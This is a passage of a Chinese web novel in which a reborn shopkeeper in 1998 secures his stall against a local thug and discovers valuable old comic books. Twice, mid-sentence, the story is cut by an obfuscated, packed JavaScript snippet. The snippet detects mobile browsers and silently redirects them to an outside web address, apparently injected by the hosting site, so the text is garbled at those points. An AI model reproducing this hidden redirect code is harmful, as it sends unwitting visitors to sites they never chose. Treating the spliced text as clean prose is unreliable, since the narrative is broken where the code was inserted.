平时递根烟、送瓶汽水(夏天五毛钱一瓶,冰的),下雨时帮张师傅收收摊子(他的修鞋摊有块帆布,下雨时得盖着),刘大妈忙时帮她看会儿报纸(怕被人拿,她卖报纸全靠自觉)。 真有麻烦,邻居们帮着喊一声,也能吓退黑皮——他再横,也不敢跟一群街坊作对,怕被人戳脊梁骨,以后在家属区里抬不起头。 第四步,主动提纳税。 如果办了执照,就去税务所咨询定额税——个体户定额税一般不高,估计一个月二十块左右。虽然会多花点钱,但“纳税人”的身份也是一层保护。 他可以对外说:“我这可是给国家交了税的正经生意,你们乱来,税务所的同志可是要过问的!” 黑皮再浑,也不敢跟“国家的生意”过不去,怕被安个“**”的罪名,那可不是拘留几天就能解决的。 想通这些,林凡心里踏实了些,像压在心里的石头挪开了一块。 这道壁垒虽然简陋,像用泥土和木头搭的墙,不结实,却至少能挡住大部分苍蝇,让他的小店能安稳地活下去——不用再担心黑皮天天来闹,不用再让笑笑躲在纸箱后害怕,不用再让王猛天天举着榔头守着。 第二天一早,林凡就让王猛看店——反复叮嘱他 “别跟人起冲突,黑皮来了就给烟给奶,别吵,等我回来,千万别动手”, 还把准备好的烟和奶放在柜台显眼处,摆得整整齐齐——自己则抱着笑笑,直奔辖区的工商管理所。 工商所是栋五十年代的旧楼,红砖墙,墙皮剥落处露出里面的青砖,像老人脸上的皱纹。 门口挂着块掉漆的木牌,写着“XX区工商行政管理所”,木牌上的字都快看不清了,边角还缺了块。楼里的走廊很暗,墙壁上贴着“个体工商户登记流程”的红纸,边角卷了,还沾着点灰,空气里飘着墨水味和旧纸张的霉味,呛得笑笑打了个喷嚏。 里面的工作人员是个六十岁左右的老头,姓张,穿着蓝色的工商制服,制服的扣子掉了一颗,用别针别着,别针还是银色的。 他戴着副塑料框的老花镜,镜片有划痕,看东西时得眯着眼,正坐在桌前拨弄老式算盘,“噼里啪啦”响,像炒豆子,算着什么账本。 他的态度不算热情,却也没刁难人,抬头看了林凡一眼,声音有点哑: “办个体户执照?填这个表,要场地证明、身份证复印件,经营范围写清楚,别乱写——比如卖吃的要卫生证,你卖百货不用,省事。” 林凡接过表格,是张黄色的纸,边缘有点**糙,上面印着黑色的字,字都有点模糊了。 他认真地填着,一笔一划,怕写错:“经营者姓名”栏写“林凡”,字迹工整;“经营场所”栏填“XX家属区3号楼南侧临时棚”,连“临时棚”三个字都没漏;“经营范围”填“日用百货、儿童玩具零售”,不敢多写一个字;“资金数额”填“两百元”——这是他所有的本钱,一分都没多填,怕惹麻烦。 场地证明是昨天找街道李干事盖的章,红色的印泥还没完全干透,印着“XX街道办事处”的字样,章的边缘有点模糊; 身份证复印件是在路边的复印店印的,五毛钱一张,边角还沾着点墨——复印店的机器有点旧,总漏墨。 张老头接过表,翻了翻,又看了看林凡怀里的笑笑——笑笑正盯着桌上的算盘看,眼睛睁得圆圆的,好奇地想伸手摸——叹了口气,声音软了点: “不容易,带个孩子做生意。审批要三天,三天后来拿,别迟到,晚了我可不等你。” 从工商所出来,林凡又去了街道办。 街道办在家属区的中心,是间平房,门口挂着“为民服务”的红牌子,牌子擦得很亮。 李干事正在屋里喝茶,他五十多岁,头发花白,梳得整整齐齐,袖口挽着,露出块上海牌的机械表,表盘有点花,却擦得很干净。 桌上堆着街道的通知,有“夏季防蚊通知”“计划生育宣传页”,还有个搪瓷杯,杯身上印着“劳动最光荣”,杯沿有点缺角,里面泡着绿茶,茶叶在水里飘着。 林凡没提黑皮的事——怕显得自己麻烦,怕李干事觉得他“事多”——只是从包里掏出一包红塔山,是昨天特意去百货店买的,八块钱一包,比给黑皮的烟贵十倍,他自己都舍不得抽。 他双手递过去,腰微微弯着:“李干事,我在咱们街道租了个小棚子,卖儿童用品,昨天刚开张,今天来跟您打个招呼。 以后我肯定遵守街道的规定,按时交租金、卫生费,绝不给您添麻烦。要是有啥做得不对的地方,您尽管批评,我一定改。” 李干事愣了愣,接过烟,放在桌上——没立刻拆,只是用手指敲了敲烟盒——脸上露出点笑,比刚才和蔼多了: “哦,是你啊,那个带孩子的小伙子。你那棚子我路过看了,收拾得挺利索,比以前干净多了——以前那地方堆废品,脏得很,老鼠都往里面钻。 好好干,别搞歪门邪道,有事随时来找我,街道能帮的肯定帮,咱们就是为街坊服务的。” 他端起搪瓷杯,喝了口茶,茶叶在杯底沉着,没说话,却让林凡心里踏实了不少。 “哎,谢谢李干事!我肯定好好干!” 林凡连连点头,心里的石头又落了一块,像卸下了千斤重担——有李干事这句话,至少黑皮不敢太过分,不敢明目张胆地来砸棚子。 回到小店,王猛赶紧迎上来,声音还带着点急,手里拿着个空奶瓶——是黑皮的跟班麻杆拿走的——脸上满是担心: “凡子,咋样?黑皮的跟班麻杆刚才来了,拿走了一包烟和一瓶奶,没多说啥,就是眼神不太好,盯着柜台里的写字板看了半天,我没敢跟他搭话,就按你说的,给了东西就让他走了。” “嗯,知道了,你做得对。” 林凡点点头,从包里拿出几包“经济烟”——刚才在工商所门口买的,五包四块钱,烟盒都有点皱了——和几瓶橘子味汽水,五毛钱一瓶,冰的,瓶身上还挂着水珠,递给王猛: “等会儿你把这烟给旁边修鞋的张师傅送去,汽水给卖报纸的刘大妈,就说邻里之间互相照应,别客气——张师傅要是在修鞋,你就帮他递个钉子;刘大妈忙时帮她看会儿报纸,别让人家拿了。” 王猛虽然不解——觉得没必要送东西,觉得“浪费钱”——却还是照做了。 张师傅接过烟,卷了卷塞进耳朵里,笑得眼睛都眯了,露出豁了的牙,声音洪亮: “凡子这小伙子,会来事!以后黑皮再来捣乱,你跟我说一声,我这修鞋的榔头也不是吃素的——上次他想抢我修鞋的钱,被我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607477|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榔头吓跑了,敲他两下让他记着,看他还敢不敢来!” 刘大妈接过汽水,拧开瓶盖,先给笑笑倒了小半杯——怕凉着孩子,倒的是不那么冰的——笑着说: “以后你家笑笑放学没人看,就放我这儿,我帮你看着,还能给她讲故事——我孙女跟她差不多大,正好有伴,俩孩子能一起玩。你放心去进货,我帮你看店都行,保准丢不了东西。” 三天后,林凡去工商所拿到了营业执照。 那是一张薄薄的纸,上面印着他的名字、经营场所、经营范围,还盖着红色的公章,红得发亮,像颗定心丸。 他特意在路边的小卖部买了个塑料相框,五块钱,天蓝色的,边缘有点**糙,却很结实,能保护执照不被弄脏。 他把执照小心地放进去,用钉子钉在棚子最显眼的位置——正对门口,一进门就能看见——阳光照在上面,红色的公章格外醒目,像块盾牌挡在棚子中央,挡住了外面的风风雨雨。 当天下午,黑皮又来了。 他刚走到棚子前,目光就落在了那张执照上,眼神像被针扎了下,闪烁了一下——他认识“营业执照”这几个字,知道这是政府发的,不是闹着玩的。 他没像以前那样踹木板,也没嬉皮笑脸,只是站在门口,脸色有点沉。 林凡递过烟和奶,他接了,手指捏着奶盒,指尖泛白,没多说什么,只嘟囔了句“别耍花样”,就匆匆走了,脚步比平时快了些,连晃肩膀的劲都没了。 路过张师傅的修鞋摊时,他还特意绕了绕——张师傅正拿着榔头敲钉子,抬头瞪了他一眼,他赶紧低下头,快步走了。 林凡看着黑皮的背影,嘴角露出一丝浅笑。 他知道,自己筑的第一道壁垒,已经起作用了——那纸执照虽然薄,却像道无形的墙,挡住了黑皮的嚣张,让黑皮不敢再像以前那样肆无忌惮。 接下来的日子,林凡按时去街道交租金——每月1号,他都亲手把钱交给李干事,让李干事在账本上签个字,自己也记着,一笔都不马虎;偶尔给李干事送点水果——比如快放坏的苹果(两块钱一斤,虽然有点软,却很甜)、有点软的香蕉(一块五一斤,剥了皮就能吃),李干事也不嫌弃,还会跟他聊两句生意: “最近卖得咋样?要不要帮你在街道的通知栏贴个小广告?免费的,帮你招揽点生意。” 林凡连忙说 “不用麻烦,谢谢您”, 心里却暖烘烘的,像晒了太阳。 他跟张师傅、刘大妈处得像家人。 张师傅帮他修过棚子的门——门轴松了,张师傅用锤子敲了敲,上了点油,没收一分钱,还说 “邻里之间,这点小事不算啥”; 刘大妈常帮他看笑笑,有时候还会带点自家做的玉米面馒头——带着枣香,笑笑最爱吃,一次能吃两个;下雨时,刘大妈还会帮他收柜台里的货,怕被雨水淋湿。 他还去税务所办了定额税,每个月交二十块钱,拿到了完税证明——粉色的纸,上面印着“完税凭证”四个字,还盖着税务所的章,跟营业执照挂在一起,旁边还贴了张“依法纳税光荣”的小贴纸,是税务所给的,红色的,很显眼。 有次黑皮来拿烟,看见完税证明,皱着眉问 “这是啥”, 林凡笑着说 “给国家交了税的证明,每个月都交,咱这是正经生意”, 黑皮没再说话,拿了东西就走,连停留都没停留。 黑皮依旧每天来拿烟和奶,却再也没提过加钱的事,也没让麻杆和冬瓜来捣乱。 有时候看到张师傅在棚子旁边修鞋,他甚至会绕着走,眼神躲躲闪闪的,像怕被张师傅的榔头敲到; 看到刘大妈在跟邻居聊天,他也不敢大声说话,怕刘大妈说他坏话,怕邻居们瞪他——他再横,也怕被人戳脊梁骨,怕在家属区里没法立足。 林凡知道,这道壁垒还不够厚,像用泥土搭的墙,遇到大风可能还会倒——比如黑皮要是找更厉害的人来,比如找外面的“混子”,这道墙就挡不住了。 但至少现在,它挡住了黑皮这种苍蝇,让他的小店能安稳地营业:每天能卖出去二十瓶AD钙奶、十本笔记本、五副跳棋,有时候还能卖出去几个铅笔盒,一个月能赚两百多块,比以前在工地搬砖还多; 笑笑能在棚子旁边跟刘大妈的孙子玩,不用再躲在纸箱后害怕,还能每天吃一块小熊饼干,有时候林凡还会给她买根冰棍,草莓味的,笑笑能高兴半天。 他看着窗外来来往往的顾客——有带着孩子来买玩具的家长,是刚下班的工人,手里拿着工资袋,脸上带着笑; 有来买奶的邻居,张婶常来,每次都笑着说“给我家孙子带一瓶,他就爱喝这个”; 看着王猛熟练地给孩子拿铅笔盒,笑着跟顾客聊天——王猛也学会了客气,不再像以前那样急脾气,说话时会放慢语速,怕吓着孩子; 看着笑笑在旁边追着蝴蝶跑——蝴蝶是从家属区的花坛飞来的,是黄色的,翅膀上有黑点,笑笑追着它跑,笑声像银铃,飘在棚子上空。 林凡的眼神越来越坚定。 他要做的,不只是筑一道挡苍蝇的壁垒,还要把这道墙筑得更厚、更牢——下个月他想再进点货,比如儿童故事书,进价一块,卖一块五,孩子们肯定喜欢; 再把棚子的石棉瓦换成新的,防止漏雨,让棚子更结实点;以后还要开个大点的店,有正经的门面,不再是临时棚,让笑笑能在干净明亮的店里玩,不用再闻废品站的霉味。 直到有一天,就算没有这道墙,也没有苍蝇敢来叮。 因为他已经长成了一棵能遮风挡雨的树,而不是一块任人啃咬的肉; 他的店也会变成一家正经的铺子,受所有人尊重,不再是“任人欺负的小摊子”。 风从棚子外吹进来,带着点花香—— 家属区花坛里的月季开了,红的、粉的,格外好看—— 柜台上的营业执照在阳光下闪着光,像在告诉他:这条路,你走对了。 第十二章:一定有预谋 铁皮棚的边角被夏日的阳光烤得发烫,地表温度能飙到38度,手一摸铁皮就烫得赶紧缩回来。 棚顶的锈迹是暗红色的,像凝固的血痂,风一吹还会掉些棕褐色的锈渣,落在地面拼成星星点点的斑驳阴影。 正中央那根开裂的旧木梁,是林凡从城郊拆迁房里淘来的,木纹里还嵌着半枚生锈的铁钉,梁上挂着他刚办没多久的营业执照。 淡蓝色的纸质执照被透明塑料相框裹得严严实实,框边沾着的水泥灰是上次修棚子时蹭的,指腹一搓还能掉渣,执照上“日用百货零售”的黑色字迹用的是宋体,笔画规整,发证日期“1997年11月15日”的数字清晰得能看清墨迹的晕染,距现在不过半年零三天。 正午的阳光斜斜穿过棚子的缝隙,像根金色的细针,正好扎在右下角的红色公章上,那团朱红泛着淡淡的金属光泽,像一块薄脆却管用的护身符。 上周有个想收“保护费”的混混,看见这执照后,嘟囔着“有证麻烦”,骂骂咧咧地走了,替这个刚起步的小摊子挡住了不少闲杂麻烦。 黑皮还是每天准时来报到,踩着午饭前半小时的点,晃悠悠地晃到窗口。 他那件印着褪色大朵牡丹的花衬衫,洗得发皱,领口磨出的毛边里还沾着点去年冬天的棉絮,袖口卷到小臂,露出手腕上一道浅褐色的刀疤,据说是以前跟人抢地盘时划的。 以前他总爱往棚子里挤,要么趁林凡转身拿东西时,从玻璃罐里抓一把“唐僧肉”零食揣兜里,要么顺手摸块橡皮就走,嘴里还嘟囔着“算你孝敬的”,唾沫星子能溅到林凡的手背。 现在他规矩多了,只是伸出手,指缝里还留着上次修自行车沾的黑油泥,接过林凡递来的“哈德门”烟盒和娃哈哈AD钙奶。 那烟是1块5一盒的经济烟,烟盒上的“哈德门”三个字是烫金的,边角已经磨得发白;奶是5毛钱一瓶的儿童饮料,瓶身上的娃哈哈头像嘴角还沾着圈淡红色的果汁渍,是林凡特意留给他的“规矩钱”。 黑皮指尖捏烟盒的力度比以前轻了不少,指腹蹭过塑料相框时会下意识顿一下,眼神总绕着那本营业执照转,连“别耍花样”的嘟囔都压得低低的。 像怕惊着什么,接过东西转身就走,花衬衫的衣角扫过棚边的狗尾草,草穗子晃了晃,他连多停留一秒的念头都没有,以前他至少会站着抽根烟,吐着烟圈跟林凡扯两句闲话。 小棚子的生意像檐角滴下的雨,细水长流却掀不起波澜。 每天的营收大多靠附近实验小学的孩子和筒子楼的邻居撑着:一年级的妞妞扎着两个羊角辫,发梢系着粉色的塑料花。 每天放学都会来买1毛钱一支的铅笔,一次买两支,说一支写作业、一支画画,铅笔5分进1**卖,一支能赚5分,她这单生意每天能给林凡添1毛利润; 张婶下班路过时,总会拎着个印着“上海牌”的帆布包,来带一瓶1块2的酱油,酱油是从县城批发部进的,1块钱一瓶,一瓶赚2**,她每周买两次,每周能赚4**; 李叔早起遛弯时,会揣着个铝制烟盒,来捎一包2块5的“红梅”烟,烟1块8进的,一包赚7**,他隔天买一包,每月能贡献10块5的利润; 偶尔有附近工地的工人来买块2毛钱的橡皮,橡皮1**5进的,一块赚5分,工**多会拿现金,硬币放在玻璃柜上叮当作响。 算下来,一天能有七八十块的收入,刨去给黑皮的3块烟奶钱、10块钱的进货成本,铅笔5分钱一支进了200支,橡皮1**5进了100块,作业本4毛钱一本进了50本。 最后能落下二十三四块,赶上哪天孩子多,最多能落28块。 这点钱够给笑笑买瓶1块2的纯牛奶,再去菜市场割两斤8毛钱的青菜,却远远撑不起“安稳”两个字。 林凡住的筒子楼是1965年盖的,墙皮剥落得露出里面的红砖,楼道里的灯泡坏了半个月没人修,晚上只能摸黑走,楼梯扶手的油漆掉得只剩斑驳的黄印子,一摸一手灰。 他家在三楼最里面,15平米的小单间,摆了一张木板床、一个掉漆的衣柜和一张折叠桌,就没多少空地了。 一到雨季,床头就得摆个搪瓷脸盆接雨,脸盆是1980年厂里发的,边缘缺了个口,雨水滴进去“滴滴答答”的声音能响一整夜,早上起来盆里能积小半盆水,床沿都得湿一片; 笑笑脚上的塑料凉鞋是去年买的,鞋底早就磨平了,鞋头裂了个小口子,脚趾头快从破洞里露出来。 他上周去小商品市场问过,一双新的塑料凉鞋要15块,够买30瓶AD钙奶,犹豫了好几天还是没舍得; 更别说以后送笑笑去好学校——县城的实验小学是重点,一学期学费180块,杂费120块,加起来300块。 按他现在每月六百八左右的收入,得攒小半个月才能凑够,这还没算15块的书本费和60块的校服钱,校服是蓝白相间的运动服,笑笑每次路过学校门口,都会盯着穿校服的孩子看半天。 林凡坐在棚子角落的小马扎上,看着王猛给妞妞拿磁性写字板。 王猛是他的同乡,比他小两岁,从老家来县城打工,在工地搬了三个月砖,老板跑了没拿到工资,就来帮他看摊。 林凡管早晚两顿饭,中午王猛自己啃馒头,一个月给150块,比在工地干体力活少50块,但胜在安稳。 王猛的手掌又大又粗,掌心和指关节处全是老茧,是在工地搬砖、扛钢筋磨出来的,指缝里还嵌着洗不掉的水泥灰,捏着那支小巧的塑料写字笔时,动作笨拙得像在摆弄易碎品,笔尖好几次差点戳到写字板的屏幕。 额头上的汗珠顺着脸颊往下淌,滴在他那件洗得发白的蓝色工装胸前,工装左胸印着的“红星砖厂”四个字已经模糊,汗珠晕开一小片湿痕,很快又被热风烘干。 他另一只手拿着张《县城日报》扇风,报纸“哗啦哗啦”的响,报纸上1998年6月12日的日期用黑体印在头版右上角,油墨味混着他身上的汗味飘过来,带着股朴实的烟火气——王猛每天都会把报纸带回去,晚上睡前翻一翻,说能“长见识”。 “这天儿热得邪乎,柏油路都快晒化了,早上我骑车来,轮胎压在路面上,都能留下浅浅的印子,粘了层灰,回家得用刷子刷。” 王猛扇着报纸,眼神瞟向棚外的马路,路面泛着白光,像铺了层碎玻璃,连路过的自行车都骑得飞快,骑车人的衬衫后背全湿透了,贴在身上。 林凡没接话,手指在膝盖上轻轻敲着,心里像压着块十斤重的石头。这小杂货摊就像口浅井,井水够日常喝,却挖不出能解渴的泉眼。 万一哪天黑皮要加“规矩钱”,或者进货价涨了,这点利润根本扛不住。他得找口更深的井,一口藏在时代褶皱里、裹着信息差的井。 1998年的县城,市场经济刚起步,很多老物件还没被人发现价值,就像蒙着灰的金子,只等着懂行的人弯腰去捡。 当时县城里连像样的古玩店都没有,只有城西有个卖老家具的摊子,老板只认红木、紫檀,对连环画、旧报纸这些“小玩意儿”根本瞧不上,说“占地方还不值钱”。 傍晚收摊时,天还没完全黑,西边的天空泛着橘红色的晚霞,筒子楼方向传来炒菜的香味,谁家炒了辣椒,呛得人忍不住咳嗽,还能听见“叮叮当当”的炒菜声和孩子的哭闹声。 笑笑抱着林凡的脖子,小脸蛋贴在他汗湿的衬衫上,软乎乎的小手攥着他的衣领,指甲盖里还沾着点下午玩泥巴的土:“爸爸,地上凉。” 棚子的地面是水泥打的,当初铺的时候没找平,一边高一边低,返潮的时候能映出人影,踩上去滑溜溜的。 林凡弯腰摸了摸,指尖能感觉到凉意,确实凉得扎手。 他想起早上翻出的那个旧纸箱,是以前进康师傅红烧牛肉面用的,外面印着大块的牛肉和面条图案,红色的汤底早就褪成了淡粉色,纸箱侧面有个破洞,用胶带粘了两层。 里面塞着进货时用的废报纸、碎泡沫,还有些玻璃罐的防震棉,棉絮都露出来了,或许能找块硬纸板给孩子垫着坐,省得凉着屁股。 他蹲在纸箱前,指尖刚探进去就触到一股霉味,混着旧报纸的油墨腥气,还夹着点方便面调料包的咸香味。 那是以前装方便面时漏的调料粉,在纸箱角落结了层淡黄色的痂,像老房子墙角积了多年的灰尘。笑笑赶紧把脸埋在他颈窝,小鼻子皱成一团,声音闷闷的:“爸爸,臭。” 林凡笑着把她往远处抱了抱,用袖子挡着她的鼻子,另一只手在纸箱里慢慢翻找。 碎泡沫滑溜溜的,蹭过指尖时像摸到了肥皂,还会沾在指腹上;废报纸是1995年的《人民日报》,纸页已经发脆,一捏就掉渣,上面的标题“深化改革”四个字还清晰可见。 突然,指尖触到了不一样的东西——不是报纸的软塌,也不是泡沫的滑腻,是厚而脆的纸页,边缘带着岁月磨出的毛边,像老人手上粗糙的茧子,摸起来有点扎手。 他心里一动,小心翼翼地抽出来一看:是本连环画,封面的纸壳已经磨得发白,边角也卷了,但还能看清“孙悟空三打白骨精”七个黑体字,字号约莫三号,透着股厚重感,字的边缘还描了圈淡黑色的轮廓。 上海人民美术出版社的圆形标识缩在封面右下角,红色颜料脱了大半,露出下面泛黄的纸底,像旧照片褪了色,标识里的“上海人美”四个字还能辨认。 翻到版权页,1962年8月第1版第1次印刷的黑色字体像颗钉子,狠狠扎进他的眼睛——印数只有10000册,在当时不算少,可保存到现在的,恐怕连十分之一都不到,毕竟那时候连环画大多是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607478|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子看的,翻来翻去容易坏,还有不少在搬家时被当作“破烂”扔了。 林凡的心跳猛地漏了一拍,像被什么东西狠狠撞了胸口,一股热流从心底往上涌,冲到太阳穴,耳朵都嗡嗡响。 前世的记忆突然从雾里钻了出来:2010年的时候,他在电子厂的老同事老张,曾捧着一本1958年版的《武松打虎》连环画在办公室炫耀。 书用牛皮纸包着,老张打开时小心翼翼的,说那本书在省城的古玩市场卖了3000块,抵他半个月工资。 当时老张的月薪已经涨到6000了,是林凡当时工资的两倍。那时候林凡只觉得是老张吹牛,还笑他“捡个破书当宝贝,不如多赚点加班费”。 现在看着手里这本1962年的《三打白骨精》,纸页上孙悟空的金箍棒还泛着淡墨色的光,白骨精的脸画得青面獠牙,他突然明白,自己摸到了一座没被挖开的金矿。 1998年的县城,谁会把这“小人书”当宝贝? 大多被塞进废品堆,等着和旧报纸一起送进造纸厂打成纸浆——当时废品站收废纸一斤5分钱,一本连环画也就两三两,卖不了几分钱; 要么被孩子撕着玩,页角散落在巷口的泥地里,被雨水泡烂,字迹晕成一团黑;还有的被老人用来垫桌脚、糊墙,纸页上沾着油污和灰尘。 巨大的信息差像一道鸿沟,一边是没人识货的“破烂”,一斤值5分,一边是未来能翻上千倍的宝贝,一本值几千,而他站在鸿沟的对岸,能清楚看见沟底藏着的光。 他记得前世2015年在“中华古玩网”上看过,1962年版的《孙悟空三打白骨精》,品相完好的能卖到5800块,是他现在半年的收入,够给笑笑买386双新凉鞋,够交19次实验小学的学费。 林凡强压着心里的狂喜,指尖轻轻摩挲着纸页。 那纸脆得像薄冰,生怕一用力就捏碎,纸页上还留着淡淡的折痕,是以前的主人翻书时留下的。他不动声色地把这本《三打白骨精》塞进裤兜,裤兜右侧有个破洞,他用手紧紧捂着,掌心的汗濡湿了纸页的边缘,留下一小片淡褐色的印子,像给书盖了个隐形的戳。 又在纸箱里翻了翻,果然又找出几本:《红灯记》的封面缺了个角,像被老鼠咬过,内页还粘着颗干硬的饭粒,米粒已经发黄,像是谁当年看书时不小心掉的,抠都抠不下来; 《地道战》被虫蛀了几个小洞,对着光看能看见里面的纸絮,像老棉花的纤维,风一吹还会飘出几根; 还有本《牛郎织女》,画得倒是精致,织女的衣袂用淡蓝色颜料涂得飘逸,牛郎的牛画得毛发分明,可纸页受潮发皱,像泡过水的海带,摸起来黏糊糊的,指尖一按还能留下个浅印。 “猛子,这些旧书哪儿来的?” 林凡站起身,拍了拍手上的灰,灰屑落在水泥地上,被风吹了吹就散了,他装作随意地问,眼神却盯着那本《三打白骨精》的方向,怕王猛看出破绽。 王猛正收拾玻璃柜里剩下的橡皮,把散落在外面的橡皮一个个塞进罐子里,闻言探头看了眼纸箱,手里的动作没停: “哦,前几天从废品站老王头那儿买了个旧五斗柜,红漆都掉光了,露出里面的木头,抽屉拉着还嘎吱响,花了20块,想当货架用,放些零食。 这些是塞在抽屉里的填充物,怕运输时磕着柜门,还有点旧棉花,都发黄了,我嫌占地方扔了,就留了这些纸。我看也没用,准备下次卖废品时一起捎过去,还能换几毛钱,够买根冰棍。” 废品站!林凡的眼睛瞬间亮了——那地方堆着的不是破烂,是藏着宝贝的仓库。 他拉过王猛,声音压得低低的,像怕被路过的人听见,连呼吸都放轻了: “猛子,我有个远房表叔,在省图书馆搞古籍修复,最近在收集老连环画,说是研究建国后的美术史,缺的就是这种老版本。 他让我帮着留意,有多少收多少,按废纸价加点钱就行,比如废纸5分一斤,我给8分,不麻烦。以后咱们去废品站,见着这类小人书,就帮我攒着,品相越完整越好,缺页、发霉的也别扔,他说研究用得着。” 他又搬出“远房亲戚”的借口,还加了“美术史研究”的由头,听起来既正式又无害,不会让人起疑心。 要是说“这书以后值钱”,王猛说不定会追问,反而麻烦。 王猛咧嘴一笑,露出两排白牙,牙缝里还沾着点中午吃的咸菜,拿起本《红灯记》翻了翻,页面“哗啦”响,油墨都掉了点在他手上: “嗨,我当啥大事!就这破玩意儿? 成!包在我身上!以后见着了都给你留着,反正也占不了地方,还能帮你表叔的忙。” 他顿了顿,又补充道, “这画得还不如电视台放的《西游记》动画片好看呢,孙悟空的**都没画清楚,脸也没那么红。” 第十三章:旧纸堆里的黄金 铺垫做好了,林凡没急着行动。 他知道,盲目去找只会白费功夫,得先摸清“门道”——哪些出版社的连环画值钱? 上海人民美术出版社、人民美术出版社的肯定比地方小出版社的值钱,赵老头后来跟他说,这两家叫“大社”,印刷质量好,画家也有名; 哪些题材更稀缺?古典名著和红色题材比现代题材值钱,尤其是《西游记》《水浒传》的单册,还有《白毛女》《红灯记》这类;品相怎么判断?赵老头教他的“三无标准”: 无缺页、无霉斑、无折痕,符合的叫“近全品”,比“九品”(有轻微折痕)还值钱,要是有作者签名,那更是“宝贝中的宝贝”。 这些都得弄明白,不然捡了一堆地方出版社的现代题材连环画,反而浪费时间和钱。 接下来几天,他利用去市里进货的间隙,跑了三家旧书店。 最老的那家藏在老城区的巷子里,叫“文兴旧书店”,门脸只有半人宽,木门上的铜环都生了锈,推开门时“吱呀”响,像老人的咳嗽声。 老板是个姓赵的老头,60多岁,头发花白,以前在县文化馆搞美术工作,退休后开了这家店,鼻梁上的老花镜度数极深,看东西时得凑到距离书本10厘米的地方,镜片厚得像啤酒瓶底。 书店里的书堆得比人还高,从地面堆到天花板,只留一条能过人的窄道,阳光从破窗棂照进来,在书上投下斑驳的光斑,像撒了一把碎金,空气里满是陈年的油墨味和霉味,吸一口都觉得呛。 林凡装作看武侠小说,指尖在书架上划过金庸的《射雕英雄传》、古龙的《楚留香传奇》,书脊都磨得发白,有的还缺了角,他故意抽出一本翻了翻,问赵老头“多少钱”,趁机套近乎。 眼睛却瞟着角落里的连环画堆,那堆书用一块旧蓝布盖着,蓝布上有补丁,掀开时能闻到一股更浓的陈年油墨味,比其他书的味道更重。 “大爷,这些小人书咋卖?” 他拿起一本《鸡毛信》,封面画着个穿补丁衣服的小孩,手里攥着封信,信纸还泛着淡蓝色,边角很平整,没有折痕,封面右下角印着“刘继卣绘”四个字。 赵老头头也没抬,翻着手里的账本,账本是牛皮纸封面的,已经泛黄,钢笔尖在纸上“沙沙”响,写的是毛笔字: “五毛钱一本,论斤称更便宜,一毛钱一斤。现在没人看这个了,年轻人都看动画片、武侠小说,也就偶尔有老太太来买,给孙辈撕着玩,或者垫在菜篮子底下防沾油。” “这画得挺好的,是不是有名人画的?” 林凡故意问,想套点信息,手指轻轻拂过封面的小孩,颜料还很牢固,没掉渣。 赵老头这才抬头,推了推滑到鼻尖的老花镜,打量了他一眼,眼神里带着点“总算遇到懂行的”的欣慰: “你还懂这个?这是刘继卣画的,以前在省美术馆都挂过他的画! 他画的人物最传神,你看这小孩的眼神,多灵动,像真的一样,连衣服上的补丁都画得有纹路。”他指了指封面上的放羊娃,指尖在纸上轻轻点了点, “可惜啊,现在没人认这个了。我这还有几本他画的《水浒传》,放了三年都没卖出去,本来想留给孙子,结果他只玩游戏机,看都不看。” 刘继卣、上海人民美术出版社、1950年代版本、古典名著和红色题材……林凡把这些关键词记在心里,像在脑子里建了个小账本,每一个都标上“重要”。他还花五块钱买了这本《鸡毛信》。 封面没磨损,内页也平整,是1955年版的,既当作参考样本,也能给笑笑当“新玩具”。五块钱在当时能买十瓶AD钙奶,能买两斤猪肉,可林凡觉得,这钱花得比什么都值,比进一箱方便面还划算。 准备就绪,一个晴朗的周六上午,林凡带着笑笑去了县城边缘的废品收购站。 那地方在东郊,靠近国道,周围是大片的农田,地里种着玉米,已经长到半人高,风一吹“沙沙”响。 废品堆得像几座小山:废铁堆里混着旧自行车、洗衣机外壳,自行车的轮胎都瘪了,洗衣机的按钮还掉了两个;塑料瓶堆得五颜六色,像座小山,阳光一照反光; 最里面是几垛用麻袋装着的旧书报,麻袋是粗麻布的,上面印着“尿素”的字样,还沾着点白色粉末,风一吹,能闻到纸张发霉的味道,还夹着点泥土的腥气。 收购站老板老王头坐在树荫下的竹编马扎上,马扎的藤条断了两根,用绳子绑着。 他手里端着个搪瓷缸,缸子上印着“劳动光荣”四个宋体红字,红色都褪成粉色了,边缘缺了个角,茶垢厚得能刮下来,深褐色的茉莉花茶在缸里晃着,飘着几朵干花。 他看见林凡,眯着眼笑了,眼角的皱纹挤在一起,像揉皱的纸: “哟,小林老板,今天又来淘换啥?上次那木柜还好用不?没掉漆吧?” “好用,谢谢您,放了不少货,零食都能摆开了。” 林凡笑着走过去,递上一根没拆封的“红塔山”——这烟7块钱一盒,比给黑皮的“哈德门”贵5块5,是他特意为“办正事”准备的,平时自己都舍不得抽,只抽2毛钱一根的散装烟。 老王头接过烟,夹在耳朵上,烟叶露出来一点金黄,他用手按了按,怕掉了: “有事直说,你这孩子实诚,不绕弯子,不用跟我客气。” 林凡蹲在老王头旁边,脸上露出点不好意思的笑,指了指站在旁边的笑笑。 